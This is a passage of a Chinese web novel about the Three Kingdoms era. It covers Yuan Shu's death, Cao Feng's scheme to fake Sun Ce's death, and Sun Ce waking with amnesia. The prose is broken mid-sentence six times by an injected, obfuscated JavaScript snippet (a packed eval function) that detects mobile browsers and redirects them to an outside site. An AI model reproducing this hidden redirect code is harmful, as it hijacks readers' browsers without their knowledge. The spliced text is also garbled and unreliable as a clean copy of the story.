距离曹风给的半炷香的时限还早,李儒可不想错过这个难得的试毒机会。曹风明确警告过他,不得用人试毒。当然,仇人除外。 【袁术拼尽最后的力气,声音嘶哑地喊道:“玉玺……在卧榻下的暗格里!钥匙……钥匙在我腰带内侧的暗袋里!”】 【李儒遗憾地叹了口气,看着剩下的几根银针。好几个新种类**没机会试验了。】 【这时,李儒的目光落在了徐璆的尸体上:“还是热的,勉强能用。只是效果会差很多……”】 【另一边,甄何已经按照袁术的指示,从他腰带里找出一把精巧的铜钥匙。他掀开袁术的床榻,露出一个隐蔽的暗格。】 【暗格上有个精致的锁孔,甄何将钥匙插入,轻轻一转,暗格应声而开。里面静静地躺着一个用明黄色绸缎包裹的物件。】 【甄何小心翼翼地将其取出,剥开层层绸布,露出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15676120|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那尊传说中的传国玉玺。】 【被丢在一旁的袁术此时正间歇性抽搐着,恰好与徐璆的尸体并排躺在一起。他惊恐地发现,徐璆被李儒用银针扎过的地方正在迅速变黑,伤口处渗出诡异的紫色液体,散发出腐臭的气味。】 【“面具人这个疯子……”袁术瘫在地上,声音嘶哑地向甄何哀求“杀了我!求求你杀了我!”此刻他才明白,原来死亡才是解脱。】 【甄何连看都没看袁术一眼,捧着玉玺径直走向曹风。】 【曹风单手接过,仔细端详了片刻。随后蹲下身,他对袁术诈道:“假的。真货在哪?”】 【“这……这就是真的!”袁术急切地辩解,生怕再遭受酷刑。】 【曹风指了指旁边已经开始腐烂的徐璆尸体,威胁道:“还敢骗我?你也想变成这样?”】 【袁术惊恐道:“保真!这玉玺绝对是真的!”】 【曹风拍了拍李儒的肩膀。李儒会意,立刻转身,手中的银针瞄准了袁术的咽喉。】 【李儒冰冷的声音从面具后传出:“怎么证明保真?”】 【这个问题把袁术问懵了。他结结巴巴地说:“玺文、缺角镶金、材质和工艺都对……”说着说着,他自己也开始怀疑起来:难道孙策当年给我的玉玺是假的?】 突然,袁术意识到自己被带跑偏了。 【袁术强忍痛苦,继续解释道:“这玉玺的每一个特征都符合古籍记载。”】 经过反复试探,曹风终于确信这方玉玺是真的——至少袁术拿到手后没有调包。如果这是赝品,那也只能说明孙策当初给袁术的就是假货。 【“看在你这么配合的份上,告诉你一个秘密。”曹风站起身,向帐外走去,头也不回地说,“你那个宝贝儿子,是我杀的。那个狗东西,竟敢辱骂我娘亲。”】 【“你……你……”袁术瞪大了布满血丝的双眼,颤抖的手指指着曹风的背影。】 【袁术突然喷出一大口鲜血,接着是第二口、第三口……】 这位曾经不可一世的“仲氏皇帝”,就这样在极度的愤怒和痛苦中气绝身亡。 第134章 曹风:小霸王,我来找你了! 【曹操得知袁术在江亭吐血身亡的消息后,立即派出大批人手四处搜寻传国玉玺的下落。就连对宝物嗅觉灵敏的摸金校尉都派了出去。】 【然而经多天的搜寻,几乎翻遍了整个江亭,最终仍是一无所获。】 【负责此事的将领战战兢兢地向曹操复命。曹操虽然心中不悦,但也只能暂时作罢。】 【与此同时,曹操之前曾命令刘备在徐州拦截袁术。没想到刘备借机偷袭杀**徐州刺史车胄。车胄是曹操的心腹,这一举动无疑是对曹操的公开挑衅。】 【刘备安排关羽驻守下邳城,代理太守职务,自己则带着主力部队回到小沛驻扎。】 【更令曹操感到愤怒的是,就在这个节骨眼上,昌豨也起兵**,徐州境内多个郡县纷纷响应刘备。短短半个月内,刘备的军队就从几千人迅速扩张到几万人,声势浩大。曾经坐地卖草鞋的刘备,终于站起来了一次!】 【刘备还派孙乾北上联络袁绍。袁绍本就与曹操不和,两人早晚有一决战。袁绍见刘备起兵反抗曹操,立即派出一支精锐骑兵前来支援。】 【曹操立即派刘岱、王忠率领大军前去讨伐刘备。这两人却被刘备打得溃不成军。】 【曹操只好亲自率军攻打刘备,暂时放下寻找传国玉玺的事情。】 【曹风没有跟随曹军北上,而是带着华佗和李儒悄然南下。】 【吴郡城内,一家名为“醉仙楼”的酒楼顶层雅间内。】 【曹风站在雕花木窗前,透过窗缝静静地看着下面人来人往的主街道。】 【街道上商贩的叫卖声、行人的谈笑声不断传来,但曹风对这些充耳不闻,他的目光始终锁定在街道的尽头,似乎在等待着什么。】 【“吱呀”一声,房门被轻轻推开。】 【一个身穿火红色长裙的少女小心翼翼地走了进来。】 【她约莫十七八岁年纪,眉目如画,腰间配着一把精致的短剑。】 【少女从未见过曹风的真面目,自然认不出眼前这个气度不凡的年轻人是谁。】 【少女偷偷打量着曹风英俊的侧脸,心中暗想:“这人能随意进出魅大人的私人房间,身份肯定非同一般。难道就是组织里传说的那位神秘主上?”】 【就在这时,一直静立在一旁的貂蝉笑着开口道:“红鸢,还愣着做什么?快来拜见公子。”】 【被称作红鸢的少女这才回过神来,连忙上前几步,规规矩矩地向曹风行了个礼,声音有些发颤地说:“红鸢……红鸢见过公子。”】 【曹风这才转过身来,脸上露出温和的笑容:“小丫头,别这么紧张,我又不是**的老虎。”】 【红鸢低着头,从袖中取出一张叠得方方正正的纸条,双手捧着递上前去:“禀公子,魅大人,有重要情报。”】 【貂蝉接过纸条,亲自送到曹风手中:“公子请过目。”】 【曹风展开纸条,只见上面用娟秀的字迹写着:前日午时,孙策在丹徒山狩猎时,遭到许贡三门客的伏击。刺客伪装成猎户,趁其不备突然放箭。孙策面颊中箭,伤势极重。预计半炷香后将返回吴郡医治。】 【看完情报,曹风走到烛台前,将纸条点燃。】 【曹风若有所思地问貂蝉:“吴郡孙府里,安插有我们的人吗?”】 【貂蝉脸上浮现出一丝愧色,轻轻摇头道:“暂时还没有。我们尝试过多次,先后派了三批人,但孙府的审查实在太严格,都没能成功。妾身辜负了公子的信任。”】 【曹风并没有责怪的意思,反而安慰道:“这种事情本来就不是你擅长的领域,确实难为你了。”】 【说完,曹风迈步走出貂蝉的闺房。】 【门外,一个身材魁梧的壮汉正笔直地站着。他见到曹风出来,立即躬身行礼:“公子!”】 【“甄何,去把李儒找回来。”曹风简短地吩咐道,“告诉他,速回,有要事相商。”】 【李儒本是随曹风一同来到江南,但刚到吴郡就独自进山采药去了。他负责管理的【魍】组织,专门从事卧底渗透工作。】 【甄何领命而去后不久,酒楼下方突然传来急促的马蹄声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684379|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧接着是一阵严厉的呵斥:“所有人听着!立即关闭门窗!不得在街道逗留!违令者斩!”】 【曹风重新回到窗前,透过窗缝向下观望。】 【只见一队全副武装的骑兵正在清场。街道上的行人商贩纷纷躲避,转眼间原本热闹的街道就变得空无一人。】 【不多时,在一队精锐骑兵的严密护卫下,一辆马车疾驰而过。虽然车速很快,但马车却出奇地平稳。】 【曹风嘴角微微上扬,“江东小霸王,我们终于要见面了。生要见你人,死要见你尸。”】 【说完这句话,他身上那股凌厉的气势突然消散无踪,转身就瘫在了貂蝉的香榻上,整个人像没了骨头似的,与方才判若两人。】 【“这一路紧赶慢赶,总算赶上孙策了。”曹风伸了个大大的懒腰,声音里带着几分慵懒,“真是疲惫啊!”】 【他突然看向还站在一旁的红鸢:“红鸢,过来帮本公子捏捏腿。”】 【“啊?”红鸢顿时涨红了脸,手足无措地望向貂蝉,眼中是求助的神色。】 【貂蝉忍俊不禁,挥了挥手道:“你先下去吧。”】 【红鸢如蒙大赦,红着脸快步退出房间,临走时还不小心绊了一下。】 【待红鸢离开后,貂蝉坐到床边,伸出玉手,亲自为曹风捏着腿。手法娴熟,力道恰到好处。】 【“那丫头从小习武,手劲大得很。”貂蝉一边捏着一边解释,“又没伺候过人的经验,我怕她不知轻重,把你的腿捏伤了。”】 【曹风舒服地闭上眼睛:“闲着无聊,逗她玩玩罢了。”】 【他突然想起什么,睁开眼问道:“你这里有会唱曲的姑娘吗?叫来给本公子解解闷。”】 【貂蝉手上突然加了几分力道,嗔怪道:“我这里是正经酒楼,可不是那些风月场所。不过……”】 【她眼波流转,笑着道:“要是公子不嫌弃,妾身可以为您跳支舞。”】 【曹风顿时来了精神,笑着撑起身子:“那再好不过了。本公子向来最善解人意了。”】 第135章 死伯符,悲公瑾 【一日后,李儒背着鼓鼓囊囊的药篓匆匆归来。此次入山采药收获甚丰,连带着他整个人的气色都好了几分。】 他这老毒物,恐怕就只剩下这点嗜好了。 【吴郡一个看似很普通的居所,【魍】组织的秘密据点就在居所地下。】 【李儒果然没有让曹风失望,【魍】早已渗入了孙府。】 【李儒将一张字条递给曹风,声音低沉:“孙策在杀死于吉后,这些天情绪一直很不稳定,导致伤口多次裂开。已经请遍吴郡及附近所有名医,都说无力回天。”】 【“看情况,孙策恐怕撑不了多久了。”】 【李儒顿了顿,继续说道:“安排在孙府的探子最新传回消息,孙策现在全靠一口气儿吊着,正在等待孙权和周瑜赶来交代后事。”】 【曹风接过字条仔细阅读,眉头逐渐紧锁。沉思片刻后,开口询问李儒:“有没有可能让孙策假死?”】 【李儒沉吟良久,声音冰冷:“当年在蜀地游历时,我曾从一位隐士那里得到过一种奇特的**配方。”】 【“服下此毒后,人会进入假死状态,呼吸、脉搏和心跳都微不可察,与真的**无异。”】 【“两天后,有一定概率能够苏醒,就像起死回生一样。但如果醒不过来……”】 【“那就是真**呗?”曹风接过话头,“听起来有点儿意思。反正孙策也快不行了,不如试试这个办法。”】 【曹风转头看向角落里,正在整理药箱的白发老者:“华老头儿,如果孙策三天后真能醒过来,你有多少把握能治好他的伤病?”】 【华佗停下手上动作,苦笑着摇头:“公子,老朽虽然略通医术,但终究不是神仙。孙策的具体伤势如何,必须亲眼诊断后才能判断。现在就断言能不能治好,实在为时过早。”】 【李儒补充道:“就算华佗能治好他原来的伤,**的副作用也很难根除。”】 【曹风问:“具体会有什么副作用?”】 【李儒一摊手:“说不准。千奇百怪,副作用的轻重,全看他自己的造化了。”】 …… 【孙府内一片肃穆。】 【孙策在临死前突然精神好转,刚刚写下遗嘱。他担心自己等不到见孙权和周瑜最后一面,提前做好了准备。】 【孙策神情黯然地擦拭着父亲孙坚留下的古锭刀,低头喃喃自语:“父亲,儿子很快就要去见您了。”】 【“我孙伯符一生南征北战,没想到最后竟会死于小人之手。江东的基业,只能托付给仲谋和公瑾了。”】 【站在一旁的大乔早已泪流满面,泣不成声。】 【“不要哭了……”孙策抬手为大乔拭去泪水,“我们的绍儿,以后就全靠你照顾了。”】 【张昭环顾四周,确认在场都是孙策的心腹后,才压低声音建议:“主公为何不考虑让孙绍公子继承基业?我们这些江东老臣,必定会竭尽全力辅佐少主。”】 【孙策缓缓摇头。】 孙绍年纪太小,就算传位给他也守不住江山。更何况他太了解自己的弟弟孙权了。就算自己不传位,孙权也会想方设法夺取。 【想到这里,孙策再次叮嘱大乔:“你一定要记住,千万别让绍儿涉足朝政,更不要让他掌握兵权。”】 如果孙绍只做个闲散的富家公子,孙权必定会对他百般呵护。但若孙绍敢出头争权,孙权绝不会容忍。 【孙策又转向张昭,语重心长:“统领江东将士与天下争雄,仲谋不如我;但选拔贤能、任用人才以保全江东基业,我不如仲谋。子布,你要尽心辅佐我弟弟。”】 张昭表面应承,内心却始终无法接受由孙权接管江东。 孙策虽然性格急躁、手段严厉,但重情重义。 孙权虽然善于隐忍克制、能屈能伸,却生性多疑。跟着孙权,恐怕不会有好结果。 想到这里,张昭心中不禁掀开了自己“带投大哥”这张身份牌。 【“不好了!起风了,走水了!”屋外突然传来急促的呼喊声。】 【孙策对房内的侍卫挥挥手:“你们都去救火吧。守着我这个将死之人有什么用!”】 【他又对张昭说:“子布,你也去。有你在场指挥,火势能控制得更快些。”】 【等众人都离开后,一名医官端着一碗汤药,迈着碎步来到孙策床前:“主公,该喝药了。”】 【“滚出去!”孙策怒喝,"你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687760|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们不是说了,医治不好我吗?我都快**,还喝什么药!你是存心来气我的吗?”】 【医官吓得立即跪地,战战兢兢地说:“这药或许能让主公多支撑一会儿……”】 【孙策这才缓和脸色,接过药碗一饮而尽。他还是希望能撑到见周瑜最后一面。】 【医官端着空碗退出房间时,嘴角不经意间露出一丝难以察觉的笑意。】 【他刚离开不久,大乔就惊慌失措地冲出房门,声嘶力竭地喊道:“快来人啊!主公昏过去了!”】 【半个时辰后,孙策的主治医官战战兢兢地向众人宣布了一个悲痛的消息: 孙策去世了!】 【“大哥!”孙权连夜赶来。】 【他恪守礼制,没有触碰孙策的遗体,只是跪在灵堂前,痛哭流涕。】 【没过多久,灵堂外又传来一声“大哥!”】 【周瑜的这声呼唤,比孙权更加悲痛欲绝。】 【得知孙策死讯后,周瑜不顾军队调度规程,轻装简从,日夜兼程从驻守的巴丘赶回吴郡,一路上心急如焚。】 【周瑜将手伸入灵柩,紧紧握住孙策冰冷的手,久久不愿松开。面容悲泣:“当年你我于舒城江畔结为异姓兄弟,誓要共谋大业。如今基业初立,正欲讨伐曹贼,兄长何以弃我而去啊?!”】 【周瑜对着孙策的遗体倾诉良久,突然口吐鲜血,昏倒在地上。】 【众**惊,连忙将他抬下去休养。】 【孙权也跟着嚎啕大哭,随后也发了狠心,用头猛撞地面,很快也被侍从搀扶出去。】 【已经到了深夜,灵堂里只剩下几位江东老臣和大乔抱着孙绍,为孙策守灵。】 忽然,一阵奇异的香气飘过。 【守灵众人本就困乏,马上就纷纷倒地昏睡。】 由于孙策刚去世,再加上周瑜和孙权先后晕厥,孙府乱作一团。即便有张昭主持大局,防卫也出现了疏漏。 【曹风抓住这个机会,带人潜入灵堂,将灵柩中的孙策替换成了一个身材相似的替身。】 【曹风的手下动作利落,转眼间便完成了调包。这些人都是他在监斩营带出来的老部下,对这套流程早已驾轻就熟。】 第136章 孙策活了,但失忆了 【甄何皱起眉头,压低声音说道:“公子,这易容术虽然高明,但如果遇到细心的人仔细检查,恐怕还是会被看出破绽。”】 【曹风轻轻拍了拍甄何的肩膀,示意他安心:“放眼整个江东,能识破《太平要术》易容术的,恐怕只有周瑜一人。”】 【“不过周瑜已经亲自来祭拜过孙策,按照礼制,他不会再有机会近距离观察。”】 【“等过几日出殡之时,棺木一盖,钉棺定论,这事就算成了。”】 【甄何闻言点了点头,将昏迷不醒的孙策小心翼翼地背在自己背上。】 【曹风亲自在前引路,带着众人借着夜色的掩护,如鬼魅般悄无声息地离开了孙府。】 【华佗在【魍】的安全屋里焦急等待,见他们平安回来,立刻上前给孙策诊治。】 【过了一会儿,华佗脸色沉重地转向李儒:“李大人,这种**还是少用为好。虽然能让人假死,但有伤天和!死者为大!要是他醒不过来,三天内尸体就会开始腐烂,到时候面目全非,连最后的体面都保不住。”】 【李儒不以为然地笑道:“此言差矣。即便不用此毒,人死后不也一样会化为白骨?不过是早晚之别罢了。”】 【他缓步走到床前,指着孙策脸上那道狰狞的伤疤,“再说了,他现在这副模样,和面目全非又有什么区别?这可不是我的过错。”】 李儒心中嘀咕:“贾诩干的伤天害理的事还少吗?可哪次见他贾文和遭过报应?对了,曹昂那事儿除外。还得是公子能伤到他贾文和。” 【华佗长叹一声,知道争辩不过李儒,只得摇头作罢。】 时间一分一秒地流逝,转眼已是两日过去。 【床榻上的孙策依旧双目紧闭,如同**一样。他的身体确实如李儒所说,没有丝毫腐烂的迹象,甚至连尸斑都没有出现。】 【第三日清晨,李儒突然抽动鼻子,在房间里来回踱步:“香气开始变淡了,毒效即将消散。”】 【曹风叹气道:“趁着还没烂,埋了吧。”】 【就在这时,突然听到华佗惊喜的呼喊:“动了!他的眼皮动了!”】 【孙策的眼皮微微颤动,仿佛在说:“先别急着埋,我觉得我还能再抢救抢救。”】 【李儒一个箭步上前,熟练地翻开孙策的眼睑查看,随后对曹风正色道:“人是醒了,不过……”】 【“这么重的伤势,能不能活下来,就要看华佗的医术,以及……”李儒意味深长地顿了顿,“他自己有多想活下来。”】 【就在李儒说话间,华佗已经开始了紧张的救治。他手法娴熟地为孙策施针,每一针都精准地落在关键穴位上。】 【曹风见状,识趣地准备退出房间,李儒也迈步跟上。】 【“李大人请留步。”华佗头也不抬地喊道,“老朽这里有个以毒攻毒的方子,需要借重你的用毒心得。”】 【见曹风也停下脚步,华佗直截了当地说:“曹公子可以先去休息了。这里不需要你了。”】 【曹风摸了摸鼻子,自嘲地笑道:“看来在这里,我倒成了最没用的那个。”】 曹风也不生气,他知道华佗向来心直口快,从不知变通为何物。这老头儿可是敢提着斧头,直言要给曹操开颅,做一个全菌手术的主儿。 【曹风突然想起前世在论坛上看到的一件趣事儿,忍不住打趣道:“华老头,听说华雄是你儿子?”】 【“这都谁在胡说八道!”华佗板起脸道,“公子还是快去歇着吧,别在这儿妨碍我和李大人救治孙伯符。”】 【接下来的半个月里,华佗和李儒日夜不停地为孙策治疗。】 【华佗负责调理气血,李儒则用各种奇特的**来控制伤势。两人虽然理念相左,但在医术上却配合得天衣无缝。】 【终于,在一个雨后的清晨,孙策再次睁开了眼睛。】 【这次他的眼神不再涣散,而是带着几分清明。】 【令人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693204|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意外的是,李儒表现得比曹风还要兴奋,他像个得到新玩具的孩子,围着床榻转来转去,嘴里不停地念叨着各种**配方的名字。】 【孙策虚弱地支起身子,警惕地打量着房间里的三个奇怪的陌生人。】 【他的目光首先落在曹风身上。这个年轻人相貌堂堂,举止优雅,但不知为何,孙策本能地感觉到他才是三人中最危险的那一个。】 【接着是那个戴着青铜面具的文士。他的眼神让孙策浑身不自在,那目光中混合着狂热、残忍和某种令人毛骨悚然的期待,仿佛自己不是一个人,而是一件等待鉴赏的艺术品。】 【最后是那个头发稀疏的老者,他的笑容让孙策想起了传说中山里的人参老怪。】 【“我们认识?”孙策的声音嘶哑得不成样子,“我这是在什么地方?”】 【曹风眼中闪过一丝精光,故意反问道:“这个问题,不该问你自己吗?”】 【“问我自己?”孙策愣住了。】 【他努力回想,却发现脑海中一片空白。他双手抱头,痛苦地喃喃自语:“我是谁?我在哪?我为什么会在这里?”】 【房间里突然安静下来。】 【曹风皱了皱眉,对李儒说:“费这么大功夫,就救回来个傻了的孙策?”】 【李儒有些兴奋地解释道:“是假死药的副作用。随机失忆。有些事忘得一干二净。有些却还记得,比如武艺和个人喜好。”】 【曹风在心里快速盘算着:失忆的孙策,简直比预想的还要完美。】 【他清了清嗓子,开始忽悠孙策:“这位壮士,事情是这样的。半月前我去山中打猎,在一处悬崖下发现了昏迷不醒的你。当时你浑身是伤,气息奄奄,我不忍见死不救,就把你带了回来。”】 【说到这里,曹风故意露出肉痛的表情,指了指正在整理药箱的华佗:“为了救你,我可是倾家荡产才请来这位神医。光是那些名贵药材,就花了我整整三百金啊!”】 第137章 李儒狠起来,连自己都毒 【孙策听完曹风这番话,脸上浮现出愧疚的神情。】 【他双手撑着床榻,想站起来行礼,却发现双腿软得像棉花,根本使不上力气。】 【最后,他只能坐着抱拳道:“多谢公子的救命之恩,在下没齿难忘。”】 【孙策又诚恳地补充道:“在下如今身无分文,连自己是谁都记不清了。但公子的救命之恩,我一定会用性命来报答。日后若有用得着的地方,赴汤蹈火在所不辞……”】 【“别等日后了。”曹风突然打断他,眼中闪过一丝狡黠,“眼下就有一件事需要你去做。”】 【孙策闻言一怔。】 【他本能地觉得好像哪里不太对劲,但又说不上来。最后还是郑重地抱拳道:“公子请讲,只要在下能做到的,绝不推辞。”】 【“我在西北边境有一支精锐骑兵,专门征讨那些骚扰边境的胡人部落。”曹风故意停顿了一下,眼睛紧盯着孙策的表情变化,“现在正缺一个能统领他们的将领……”】 【“公子太抬举在下了。”孙策连忙摇头,苦笑道,“以我现在的状态,恐怕难当大任。若是耽误了军务,岂不是辜负了公子的信任?”】 【“谁说让你直接当统领了?”曹风毫不客气道,“我的意思是,你可以先从普通骑兵做起,靠自己的本事挣军功。”】 【“等你立下战功,我才会考虑你升迁的事。”】 【孙策这才释然,郑重地点头应允:“在下明白了。定当竭尽全力,不负公子厚望。”】 虽然孙策因为失忆想不起过去的事,但曹风还是决定暂时切断他和孙吴势力的所有联系,免得给自己惹上不必要的麻烦。 曹风这些天思来想去,最好的办法就是把孙策调去遥远的边疆,让他远离东吴的势力范围。 曹风知道,孙策这个人最看重的就是情义二字。他可以慢慢和孙策培养兄弟情谊。 这样一来,即便日后孙策恢复记忆,念及这段情义,也不会与他为敌。 【就在这时,孙策无意间瞥见了墙上挂着的一面铜镜。镜中的自己脸上有道狰狞的伤疤。】 【他下意识地摸了摸伤疤,心中很是排斥。】 【“公子……”孙策突然转向曹风,指了指李儒脸上戴着的面具,“能否也给我弄一个这样的面具?”】 (《江表传》里记载过这样一段:孙策**后照镜子,见自己容貌受损,当场大怒,吼道:“脸都毁了,还怎么建功立业?!” 据说这正是导致他情绪激动、伤口迸裂而亡的原因之一。) 【曹风爽快地应承下来:“这个简单,包在我身上。”】 曹风琢磨着要给孙策弄个兰陵王式的面具。 虽说孙策比兰陵王早出生三百多年,但这种风格的面具很配他小霸王的气质。 只是两人戴面具的原因完全不同。 兰陵王是因为自己长得太俊美,怕镇不住敌军,才戴着狰狞面具上阵。 而孙策纯粹是为了遮住脸上的伤疤。 【出了屋子,曹风把李儒拉到一旁僻静处,压低声音问道:“他的失忆是永久的吗?会不会哪天突然想起来?”】 【李儒沉声道:“这个说不准。中了此毒,有人三天就恢复,有人三年,也有人一辈子都想不起来。”】 【李儒顿了顿,意味深长地补充道:“不过,就算他哪天突然恢复记忆,也身在边疆,到时候就由不得他了。”】 【曹风若有所思地点了点头,随后离开了【魍】的安全屋。】 【躺在貂蝉的香榻上,曹风掐指算着时间。】 此时曹操应该已经和刘备在徐州打起来了。他必须立刻赶回去,因为要见一个重要人物——关羽。 一方面,作为从后世穿越来的人,曹风对这位义薄云天的关二爷充满好奇,想亲眼见识一下传说中的武圣风采。 另一方面,作为武痴,曹风早就对关羽的春秋刀法垂涎三尺,这次一定要想办法偷学几招。 天幕画面快进到三天后…… 【孙策的身体状况终于稳定下来。曹风一行人准备离开吴郡。】 甄何负责护送李儒和孙策前往凉州。 华佗则随曹风赶往徐州。 貂蝉的任务是前往建业。曹风需要她在那里开一家高档酒楼,作为情报据点,负责收集关于东吴的各种消息。 在出吴郡城门时,发生了一件意外的小插曲。 【几人刚出了城门不到五里地,就遇见了为孙策发丧的队伍。】 【场面十分浩大,漫天的白幡在风中猎猎作响。队伍中的哭喊声此起彼伏,震耳欲聋。】 【周瑜身披麻衣,双眼红肿,整个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693205|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人瘦了一圈,憔悴不堪。】 【他亲自为大哥孙策扶棺,几次哭到几乎晕厥。】 【戴着鬼王面具的孙策掀开车帘一角,好奇地向外张望。他的目光始终停留在那个几次哭到晕厥的周瑜身上。】 不知为何,他就是移不开视线。 心里隐约觉得这个人对他很重要,要是错过可能再也见不到了。 【孙策感觉胸口一阵刺痛,声音莫名地哽咽起来:“公子,他们这是在为谁发丧?那个扶棺的人是谁?”】 【曹风面不改色,伸手将孙策一把拽了回来。随后“唰”地拉好车帘,他沉声道:“少打听这些!好奇心太重,会害死你的!”】 【与此同时,李儒宽大的袖袍中,手指已经握住了一个小毒瓶。拇指抵在瓶塞上,随时准备推开。】 【只要孙策稍有不妥,他就会立即下毒。这**见效极快,能让人瞬间昏睡,且不留后患。】 【孙策没有违背恩人曹风的意思,没有再掀开车帘。】 【但沉默片刻后,他还是不甘心地低声道:“我总觉得……我好像认识那个扶棺的男子。看到他的时候,心里特别难受……”】 【李儒抢在曹风之前回应道:“你只是太过疲惫,产生了幻觉。你一个山野猎人出身,怎么可能认识东吴的贵族公子?”】 【孙策还想再问什么,突然觉得一阵强烈的困意袭来。他努力睁大眼睛,却控制不住地往下倒:“还真是没休息好……”】 【话未说完,他就昏睡过去。】 【奇怪的是,不仅孙策,曹风也觉得眼皮越来越重。】 【李儒见状,迅速从袖中掏出一颗小药丸塞进曹风手中,急促道:“公子,快服下解药!”】 【曹风将药丸咽下,随即愤怒地瞪着李儒:“李文优!你疯了吗?连我都想一起毒翻?”】 李儒来不及解释,因为他自己也中了毒。 【他手忙脚乱地想把药丸塞进嘴里,却被脸上的面具挡住了。】 【他尴尬地和曹风对视一眼,然后“扑通”一声栽倒。不省人事。】 曹风:??? 曹风:!!! 【曹风又好气又好笑,赶紧揭开李儒的面具,将药丸塞进他嘴里,摇头叹道:“算你狠,连自己都毒!不过还算懂事,知道先救我。”】 第138章 关于我用蚊虫老鼠逼关羽搬家这件事 【曹风风尘仆仆赶到徐州时,正值曹操大军刚刚击溃刘备军队的第三天。】 【刘备在惨败后,带着数十骑仓皇北逃,直奔青州投奔袁绍。】 【而他的结义兄弟关羽则退守到下邳城内。】 【曹操素来欣赏关羽的武艺和忠义,想要收为己用,因此没有采取强攻,而是设计了一个围困之策。】 【曹操派心腹大将夏侯惇为主帅,徐晃、于禁为副将,率领三万精锐步骑将下邳城团团围住,彻底切断了关羽军队与外界的一切联系。】 【与此同时,曹风回到了自己的监斩营驻地。】 【远远地,他就看见王五和其他几个心腹已经在营门外等候多时。】 【王五在原地来回踱步,显得心事重重。】 【“怎么了五子?”曹风翻身下马,将缰绳扔给亲兵,关切地问道,“看你愁眉苦脸的,遇到什么难事了?”】 【王五叹了口气,压低声音道:“关羽那厮被困在了下邳城里,死活不肯投降。曹操那边又不下令强攻,就这么干耗着。弟兄们都在议论,这仗怕是要拖到猴年马月去了。”】 【曹风伸手拍了拍王五的肩膀,打趣儿道:“怎么,是急着回去与你那未过门的小娘子洞房花烛?我记得上次你说过,等这仗打完就回去成亲。”】 【“嘿嘿!”王五这才展露出原本贱兮兮的笑容,“公子真是神机妙算,什么都瞒不过您。”】 他说着,心里涌起一阵暖流。 上次见面时,他只是随口提了一句自己的婚事,没想到公子竟然记得这么清楚。这说明在公子心里,他王五也是有分量的。 要知道,在等级森严的曹营中,像他这样出身市井的小人物,平日里连见曹风这样的贵公子一面都难如登天,更别说被对方记挂在心上了。 【王**自觉地挺直了腰杆,得意地环视了一圈周围的同伴。】 【这些人都向他投来艳羡的目光。】 【有几个年轻士兵甚至露出了崇拜的神情。】 【“哎哟!”正当王五沉浸在众人的羡慕中时,屁股上突然挨了不轻不重的一脚。】 【“什么表情?疯了?”曹风笑骂道,“跟我进帐,有要紧事交代你。”】 【王五连忙点头哈腰,屁颠屁颠地跟在曹风身后。】 他那副谄媚的模样非但没有引起同伴们的鄙夷,反而让更多人羡慕不已。 【“我什么时候也能跟在公子身后当个跟班呢?”】 【“别想了。王大人上辈子肯定积德了,这辈子才能得到公子赏识。”】 【一位监斩营的老兵感叹:“当年宛城之战,曹风公子去救曹昂公子时,一队敌军骑兵要去追杀曹风公子。王大人带弟兄们断后。这些弟兄里,要数平时最怕死的王大人那次最拼命,那条胳膊就是那时候没的。而且……”】 【“而且这些年,王大人从不对别人提起这件事,更没向公子邀功。”】 